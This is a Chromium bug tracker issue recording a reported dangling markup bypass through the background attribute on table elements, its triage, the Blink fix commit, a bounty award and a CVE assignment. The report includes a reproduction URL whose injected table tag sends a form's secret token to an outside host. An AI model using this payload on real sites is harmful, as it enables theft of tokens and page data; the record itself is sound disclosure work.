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New issue

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★ Starred by 3 users

Owner:

futhark@chromium.org

CC:

mkwst@chromium.org

andruud@chromium.org

ericwilligers@chromium.org

futhark@chromium.org

alancutter@chromium.org

🕒 style-bugs@google.com

Status:

Fixed (*Closed*)

Components:

[Blink>CSS](#)

[Blink>SecurityFeature](#)

Modified:

Jul 29, 2022

Backlog-Rank:

Editors:

EstimatedDays:

NextAction:

OS:

[Linux](#), [Android](#), [Windows](#), [Chrome](#), [Mac](#)

Pri:

1

Type:

[Bug-Security](#)

Reward-1000

Security_Severity-Medium

allpublic

reward-inprocess

CVE_description-submitted

Target-80

Target-88

FoundIn-79

Target-81

Target-84

Target-83

Target-85

Target-86

Target-87

Target-89

Target-90

Target-91

Target-92

external_security_report

Target-94



Issue 1039885: Dangling markup attack through background attribute allows data exfiltration

Reported by [herre...@gmail.com](#) on Tue, Jan 7, 2020, 6:12 PM EST

[Code](#)

VULNERABILITY DETAILS

Chrome has a mitigation in place to prevent dangling markup attacks

(<https://www.chromestatus.com/features/5735596811091968>) where requests containing the `\\n` and `<` characters on the URL get blocked.

However, it is still possible to exfiltrate information through use of the background attribute on any of the following tags:

<col> <colgroup> <table> <tbody> <td> <tfoot> <th> <thead> <tr>

This issue is similar to [bug-749852](#) and [bug-695474](#).

VERSION

Version 79.0.3945.88 (Official Build) (64-bit)

REPRODUCTION CASE

1. Go to <https://lbherrera.me/chrome/dangling-markup/?xss=<table+background='https://example.org/?leak=>
2. A cross-origin request will be made containing the secret token from the form.

CREDIT INFORMATION

Reporter credit: Luan Herrera (@lbherrera_)

[Comment 1](#) by [mbarb...@chromium.org](#) on Wed, Jan 8, 2020, 1:59 PM EST Project Member

Status: Assigned (was: Unconfirmed)

Owner: andypaicu@chromium.org

Cc: mkwst@chromium.org

Labels: Security_Severity-Medium Security_Impact-Stable OS-Android OS-Chrome OS-Linux OS-Mac OS-Windows

Components: Blink>SecurityFeature

andypaicu: Could you take a look at this when you have a chance?

Setting severity label to match [issue-749852](#).

[Comment 2](#) by [sheriffbot@chromium.org](#) on Thu, Jan 9, 2020, 9:47 AM EST Project Member

Labels: Target-80 M-80

Setting milestone and target because of Security_Impact=Stable and medium severity.

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot

[Comment 3](#) by [sheriffbot@chromium.org](#) on Thu, Jan 9, 2020, 10:23 AM EST Project Member

Labels: Pri-1

Setting Pri-1 to match security severity Medium. If this is incorrect, please reset the priority. Sheriffbot won't make this change again.

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot

Comment 4 by sheriffbot@chromium.org on Wed, Jan 22, 2020, 10:51 AM EST Project Member

andypaicu: Uh oh! This issue still open and hasn't been updated in the last 14 days. This is a serious vulnerability, and we want to ensure that there's progress. Could you please leave an update with the current status and any potential blockers?

If you're not the right owner for this issue, could you please remove yourself as soon as possible or help us find the right one?

If the issue is fixed or you can't reproduce it, please close the bug. If you've started working on a fix, please set the status to Started.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot

Comment 5 by sheriffbot@chromium.org on Thu, Feb 6, 2020, 10:45 AM EST Project Member

andypaicu: Uh oh! This issue still open and hasn't been updated in the last 29 days. This is a serious vulnerability, and we want to ensure that there's progress. Could you please leave an update with the current status and any potential blockers?

If you're not the right owner for this issue, could you please remove yourself as soon as possible or help us find the right one?

If the issue is fixed or you can't reproduce it, please close the bug. If you've started working on a fix, please set the status to Started.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot

Comment 6 by sheriffbot on Thu, Apr 9, 2020, 12:28 PM EDT Project Member

Labels: -M-80 Target-81 M-81

Comment 7 by sheriffbot on Wed, May 20, 2020, 1:29 PM EDT Project Member

Labels: -M-81 M-83 Target-83

Comment 8 by sheriffbot on Tue, Jul 14, 2020, 1:33 PM EDT Project Member

andypaicu: Uh oh! This issue still open and hasn't been updated in the last 188 days. This is a serious vulnerability, and we want to ensure that there's progress. Could you please leave an update with the current status and any potential blockers?

If you're not the right owner for this issue, could you please remove yourself as soon as possible or help us find the right one?

If the issue is fixed or you can't reproduce it, please close the bug. If you've started working on a fix, please set the status to Started.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot

Comment 9 by sheriffbot on Wed, Jul 15, 2020, 1:34 PM EDT Project Member

Labels: -M-83 Target-84 M-84

Comment 10 by [sheriffbot](#) on Tue, Jul 28, 2020, 1:38 PM EDT Project Member

andypaicu: Uh oh! This issue still open and hasn't been updated in the last 202 days. This is a serious vulnerability, and we want to ensure that there's progress. Could you please leave an update with the current status and any potential blockers?

If you're not the right owner for this issue, could you please remove yourself as soon as possible or help us find the right one?

If the issue is fixed or you can't reproduce it, please close the bug. If you've started working on a fix, please set the status to Started.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot

Comment 11 by [andypaicu@chromium.org](#) on Wed, Jul 29, 2020, 2:06 AM EDT Project Member

Owner: mkwst@chromium.org

Cc: -mkwst@chromium.org

Hi Mike, can you help triage this to someone more appropriate?

Comment 12 by [mkwst@chromium.org](#) on Wed, Jul 29, 2020, 2:39 AM EDT Project Member

Owner: ericwilligers@chromium.org

Cc: mkwst@chromium.org alancutter@chromium.org futhark@chromium.org

Components: Blink>CSS

ericwilligers: Can you help me find a reasonable place to insert a check against `KURL::PotentiallyDanglingMarkup()` (https://source.chromium.org/chromium/chromium/src/+/_master:third_party/blink/renderer/platform/weborigin/kurl.h;drc=5875777d5ab5ce5244b2d84d4281ee1a95bcc3cd;l=231)? I'm not familiar enough with the processing for `background`, and I'm getting a bit lost on the way from `HTMLTableElement::CollectStyleForPresentationAttribute` to `ElementStyleResources::LoadPendingImages`. It seems like there should be some chokepoint at which we could check this attribute of the URL to be requested without doing one-off checks for each element that supports `background` (and, presumably, other presentational attributes).

If you can point me to a reasonable spot, and reassign the bug back to me, I'd very much appreciate it! (CCing one or two other folks from `//core/css/OWNERS`).

Comment 13 by [ericwilligers@chromium.org](#) on Wed, Jul 29, 2020, 7:10 AM EDT Project Member

Owner: andruud@chromium.org

Re-assigning question to andruud.

For background, could `CSSImageValue::CacheImage` or `CSSImageValue::ReResolveURL` be used?

Note that a few SVG elements have URL attributes, should they also be checked?

Comment 14 by [mkwst@chromium.org](#) on Wed, Jul 29, 2020, 7:26 AM EDT Project Member

Cc: ericwilligers@chromium.org

> Re-assigning question to andruud.

Thank you, and hello!

> Note that a few SVG elements have URL attributes, should they also be checked?

If they cause requests to be made, then yes. Is this the tip of a scary iceberg? :)

[Comment 15](#) by mkwst@chromium.org on Wed, Jul 29, 2020, 3:15 PM EDT Project Member

Pasting in from chat for posterity: andruud@ suggested:

""""

So as far as I can tell from taking a quick look:

we don't really support `_not_` loading an image.

So far I think `CSSImageValue::CacheImage`` would be the best (/ least bad) place to check for your flag

But we can't return `nullptr` there. The rest of the code is not prepared for that.

If we were to solve it in CSS, then we could either 1) "pillage" the URL (but I guess it might look weird in the Inspector's network debugger, I don't know), or 2) we could implement a new `StyleImage`` subclass which does nothing, `_or_` 3) we could make it possible to return `nullptr`` from `CSSImageValue::CacheImage``

I'd look into (2) first, but not obvious which is more painful of (2) and (3).

""""

[Comment 16](#) by andruud@chromium.org on Fri, Jul 31, 2020, 4:59 AM EDT Project Member

Status: Available (was: Assigned)

Owner: ----

[Comment 17](#) by futhark@chromium.org on Mon, Aug 3, 2020, 6:35 AM EDT Project Member

Status: Assigned (was: Available)

Owner: futhark@chromium.org

I recently did a change so that we can have `StylePendingImage` for image resources which is not loaded because of `display:none/contents`. Letting `CacheImage()` return null in this case and keep the image resource a `StylePendingImage` like we do for `display:none` seems like a reasonable way to do this, I think.

P1 security issue should not be unassigned, so assigning to myself.

[Comment 18](#) by futhark@chromium.org on Mon, Aug 3, 2020, 7:06 AM EDT Project Member

Oh, wait a sec. I think we have `DCHECKs` that we don't have `StylePendingImage` if we have a `LayoutObject` and try to paint it.

[Comment 19](#) by futhark@chromium.org on Tue, Aug 11, 2020, 9:13 AM EDT Project Member

Status: Started (was: Assigned)

[Comment 20](#) by sheriffbot on Wed, Aug 26, 2020, 1:39 PM EDT Project Member

Labels: -M-84 Target-85 M-85

[Comment 21](#) by sheriffbot on Wed, Oct 7, 2020, 1:39 PM EDT Project Member

Labels: -M-85 M-86 Target-86

[Comment 22](#) by [sheriffbot](#) on Fri, Oct 30, 2020, 6:48 PM EDT Project Member

Labels: reward-potential

[Comment 23](#) by [sheriffbot](#) on Wed, Nov 18, 2020, 12:24 PM EST Project Member

Labels: -M-86 M-87 Target-87

[Comment 24](#) by [sheriffbot](#) on Wed, Jan 20, 2021, 12:24 PM EST Project Member

Labels: -M-87 Target-88 M-88

[Comment 25](#) by [adetaylor@google.com](#) on Wed, Jan 20, 2021, 6:56 PM EST Project Member

Labels: -reward-potential external_security_report

[Comment 26](#) by [sheriffbot](#) on Mon, Feb 22, 2021, 11:16 AM EST Project Member

This issue hasn't been updated in the last 30 days - please update it or consider lowering its priority.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot

[Comment 27](#) by [ajgo@google.com](#) on Wed, Feb 24, 2021, 2:50 PM EST Project Member

security-triage: The repro for this now 404s - it would be helpful to have a testcase attached to this issue?

[Comment 28](#) by [herre...@gmail.com](#) on Wed, Feb 24, 2021, 3:10 PM EST

#27: I have attached the testcase and also put back the repro on the server. Thanks for the ping!

index.php

313 bytes [View](#) [Download](#)

[Comment 29](#) by [sheriffbot](#) on Wed, Mar 3, 2021, 12:23 PM EST Project Member

Labels: -M-88 Target-89 M-89

[Comment 30](#) by [sheriffbot](#) on Wed, Mar 10, 2021, 8:06 PM EST Project Member

Labels: reward-potential

[Comment 31](#) by [zhangtiff@google.com](#) on Wed, Mar 17, 2021, 7:11 PM EDT Project Member

Labels: -reward-potential external_security_bug

[Comment 32](#) by [sheriffbot](#) on Thu, Apr 15, 2021, 12:24 PM EDT Project Member

Labels: -M-89 M-90 Target-90

[Comment 33](#) by [sheriffbot](#) on Mon, May 17, 2021, 11:18 AM EDT Project Member

This issue hasn't been updated in the last 30 days - please update it or consider lowering its priority.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot

[Comment 34](#) by futhark@chromium.org on Wed, May 19, 2021, 5:35 AM EDT Project Member

Status: Available (was: Started)

Owner: ----

Labels: Pri-2

[Comment 35](#) by [sheriffbot](#) on Wed, May 19, 2021, 1:38 PM EDT Project Member

Labels: -Pri-2 Pri-1

Setting Pri-1 to match security severity Medium. If this is incorrect, please reset the priority. Sheriffbot won't make this change again.

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot

[Comment 36](#) by [sheriffbot](#) on Wed, May 26, 2021, 12:25 PM EDT Project Member

Labels: -M-90 M-91 Target-91

[Comment 37](#) by [sheriffbot](#) on Mon, Jun 28, 2021, 11:18 AM EDT Project Member

This issue hasn't been updated in the last 30 days - please update it or consider lowering its priority.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot

[Comment 38](#) by [sheriffbot](#) on Fri, Jul 9, 2021, 11:18 AM EDT Project Member

This issue hasn't been updated in the last 30 days - please update it or consider lowering its priority.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot

[Comment 39](#) by [sheriffbot](#) on Tue, Jul 20, 2021, 11:17 AM EDT Project Member

This issue hasn't been updated in the last 30 days - please update it or consider lowering its priority.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot

[Comment 40](#) by adetaylor@google.com on Wed, Jul 21, 2021, 2:56 PM EDT Project Member

Status: Assigned (was: Available)

Owner: futhark@chromium.org

Labels: FoundIn-79

futhark@, sorry, security bugs can't be unowned... please could you figure out who should take care of moving this forward?

[Comment 41](#) by [sheriffbot](#) on Thu, Aug 5, 2021, 1:43 PM EDT Project Member

Labels: -Security_Impact-Stable Security_Impact-Extended

[Comment 42](#) by [sheriffbot](#) on Fri, Aug 6, 2021, 12:24 PM EDT Project Member

Labels: -Security_Impact-Extended

[Comment 43](#) by [sheriffbot](#) on Fri, Aug 6, 2021, 12:29 PM EDT Project Member

Labels: Security_Impact-Extended

[Comment 44](#) by [sheriffbot](#) on Fri, Aug 6, 2021, 1:30 PM EDT Project Member

Labels: -Security_Impact-Extended Security_Impact-Stable

[Comment 45](#) by [sheriffbot](#) on Sat, Aug 7, 2021, 12:24 PM EDT Project Member

Labels: -M-91 Target-92 M-92

[Comment 46](#) by [sheriffbot](#) on Mon, Aug 16, 2021, 1:14 PM EDT Project Member

Labels: -Security_Impact-Stable Security_Impact-Extended

[Comment 47](#) by [sheriffbot](#) on Sat, Sep 11, 2021, 12:24 PM EDT Project Member

Labels: -M-92 M-93 Target-93

[Comment 48](#) by [sheriffbot](#) on Wed, Sep 22, 2021, 12:24 PM EDT Project Member

Labels: -M-93 Target-94 M-94

[Comment 49](#) by [futhark@chromium.org](#) on Thu, Oct 14, 2021, 10:10 AM EDT Project Member

Cc: andruud@chromium.org

[Comment 50](#) by [futhark@chromium.org](#) on Thu, Oct 14, 2021, 7:42 PM EDT Project Member

Blockedon: [1260189](#)

[Comment 51](#) by [futhark@chromium.org](#) on Thu, Oct 14, 2021, 7:50 PM EDT Project Member

Status: Started (was: Assigned)

[Comment 52](#) by [Git Watcher](#) on Fri, Oct 15, 2021, 10:34 AM EDT Project Member

The following revision refers to this bug:

<https://chromium.googlesource.com/chromium/src/+349a35b1966756c71ac7c5bd7857958e3d4dc799>

commit [349a35b1966756c71ac7c5bd7857958e3d4dc799](#)

Author: Rune Lillesveen <futhark@chromium.org>

Date: Fri Oct 15 14:33:17 2021

Handle PotentiallyDanglingMarkup() for CSSImageValue

The flag was lost in the KURL -> String -> KURL conversions. Store the flag on CSSImageValue and always re-resolve from the original relative

url before fetching when that flag is set. The blocking happens in
BaseFetchContext::CanRequestInternal().

~~Bug-1039885~~

Change-Id: Ia5777739a0ee0bee591163873926d19e0ea014bf

Reviewed-on: <https://chromium-review.googlesource.com/c/chromium/src/+3226142>

Reviewed-by: Anders Hartvoll Ruud <andruud@chromium.org>

Reviewed-by: Mike West <mkwst@chromium.org>

Commit-Queue: Rune Lillesveen <futhark@chromium.org>

Cr-Commit-Position: refs/heads/main@{#932004}

[modify] https://crrev.com/349a35b1966756c71ac7c5bd7857958e3d4dc799/third_party/blink/renderer/core/css/build.gni

[modify]

https://crrev.com/349a35b1966756c71ac7c5bd7857958e3d4dc799/third_party/blink/renderer/core/css/css_image_value.h

[modify]

https://crrev.com/349a35b1966756c71ac7c5bd7857958e3d4dc799/third_party/blink/renderer/core/css/css_image_value.cc

[add]

https://crrev.com/349a35b1966756c71ac7c5bd7857958e3d4dc799/third_party/blink/renderer/core/css/css_image_value_test.cc

Comment 53 by futhark@chromium.org on Fri, Oct 15, 2021, 2:32 PM EDT Project Member

Status: Fixed (was: Started)

Comment 54 by [sheriffbot](#) on Sat, Oct 16, 2021, 12:41 PM EDT Project Member

Labels: reward-topanel

Comment 55 by [sheriffbot](#) on Sat, Oct 16, 2021, 1:41 PM EDT Project Member

Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify

Comment 56 by amyressler@google.com on Wed, Oct 20, 2021, 3:52 PM EDT Project Member

Labels: -reward-topanel reward-unpaid reward-1000

*** Boilerplate reminders! ***

Please do NOT publicly disclose details until a fix has been released to all our users. Early public disclosure may cancel the provisional reward. Also, please be considerate about disclosure when the bug affects a core library that may be used by other products. Please do NOT share this information with third parties who are not directly involved in fixing the bug. Doing so may cancel the provisional reward. Please be honest if you have already disclosed anything publicly or to third parties. Lastly, we understand that some of you are not interested in money. We offer the option to donate your reward to an eligible charity. If you prefer this option, let us know and we will also match your donation - subject to our discretion. Any rewards that are unclaimed after 12 months will be donated to a charity of our choosing.

Please contact security-vrp@chromium.org with any questions.

Comment 57 by amyressler@chromium.org on Wed, Oct 20, 2021, 5:16 PM EDT Project Member

Congratulations, Luan! The VRP Panel has decided to award you \$1000 for this report. Thank you for this report and nice work!

Comment 58 by amyressler@google.com on Thu, Oct 21, 2021, 4:47 PM EDT Project Member

Labels: -reward-unpaid reward-inprocess

[Comment 59](#) by amyressler@chromium.org on Tue, Jan 4, 2022, 12:36 PM EST Project Member

Labels: Release-0-M97

[Comment 60](#) by amyressler@google.com on Tue, Jan 4, 2022, 1:34 PM EST Project Member

Labels: CVE-2022-0113 CVE_description-missing

[Comment 61](#) by [sheriffbot](#) on Sat, Jan 22, 2022, 1:29 PM EST Project Member

Labels: -Restrict-View-SecurityNotify allpublic

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot

[Comment 62](#) by amyressler@chromium.org on Fri, Jul 29, 2022, 5:36 PM EDT Project Member

Labels: -CVE_description-missing CVE_description-submitted

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